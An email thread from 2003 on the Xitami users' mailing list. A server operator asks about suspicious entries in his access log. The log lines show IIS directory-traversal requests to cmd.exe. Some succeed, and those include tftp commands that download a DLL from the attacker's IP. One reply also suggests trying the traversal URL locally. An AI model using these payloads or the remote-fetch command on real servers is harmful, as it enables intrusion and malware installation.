[Xitami] what's this?

Tue, 3 Jun 2003 08:46:17 -0600

Hey spider try it let me know what you get
http://127.0.0.1//scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir

----- Original Message ----- 
From: "Spider" <spider@rivcom.net>
To: <xitami@lists.xitami.org>
Sent: Tuesday, June 03, 2003 8:22 AM
Subject: Re: [Xitami] what's this?


> Ah..but keep looking down the log!
> 
> Jim
> 
> ----- Original Message -----
> From: "Alex Glasgow" <calego@swbell.net>
> To: <xitami@lists.xitami.org>
> Sent: Tuesday, June 03, 2003 6:45 AM
> Subject: Re: [Xitami] what's this?
> 
> 
> > The 404 means the attempt was not successfull, so nothing to worry about.
> >
> > Spider wrote:
> >
> > >Hi!  New to the list.  Have been running Xitami for some time.....love
> it.
> > >
> > >Questions about the logs   On a few IP's that show up I get blocks of
> hits
> > >that look like what is below.
> > >
> > >Any ideas as to what this is?  A hacker or?????
> > >
> > >Thanks for any info!
> > >
> > >Jim Wooddell
> > >
> > >here is what I am seeing in my ac logs....
> > >
> > >12.225.139.174 - - [01/Jun/2003:05:08:35 -0700] "GET
> > >/scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:35 -0700] "GET
> /MSADC/root.exe?/c+dir
> > >HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:36 -0700] "GET
> > >/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:37 -0700] "GET
> > >/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:38 -0700] "GET
> > >/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:40 -0700] "GET
> > >/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> > >HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:43 -0700] "GET
> > >/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> > >HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:45 -0700] "GET
> >
> >/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/s
> y
> > >stem32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:46 -0700] "GET
> > >/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:47 -0700] "GET
> > >/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:48 -0700] "GET
> > >/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:50 -0700] "GET
> > >/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:51 -0700] "GET
> > >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:52 -0700] "GET
> >
> >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%2
> 0
> > >GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:53 -0700] "GET
> >
> >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%2
> 0
> > >GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:54 -0700] "GET
> >
> >/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%2
> 0
> > >GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:56 -0700] "GET
> > >/scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:57 -0700] "GET
> > >/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:08:58 -0700] "GET
> >
> >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20G
> E
> > >T%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:09:00 -0700] "GET
> >
> >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20G
> E
> > >T%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:09:01 -0700] "GET
> >
> >/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20G
> E
> > >T%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:09:02 -0700] "GET
> > >/scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""
> > >12.225.139.174 - - [01/Jun/2003:05:09:03 -0700] "GET
> > >/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 ""
> ""
> > >12.225.139.174 - - [01/Jun/2003:05:09:05 -0700] "GET
> > >/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 
> 
> 
> 
> 
> --
> Xitami Users Mailing List -- For Xitami support
> To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami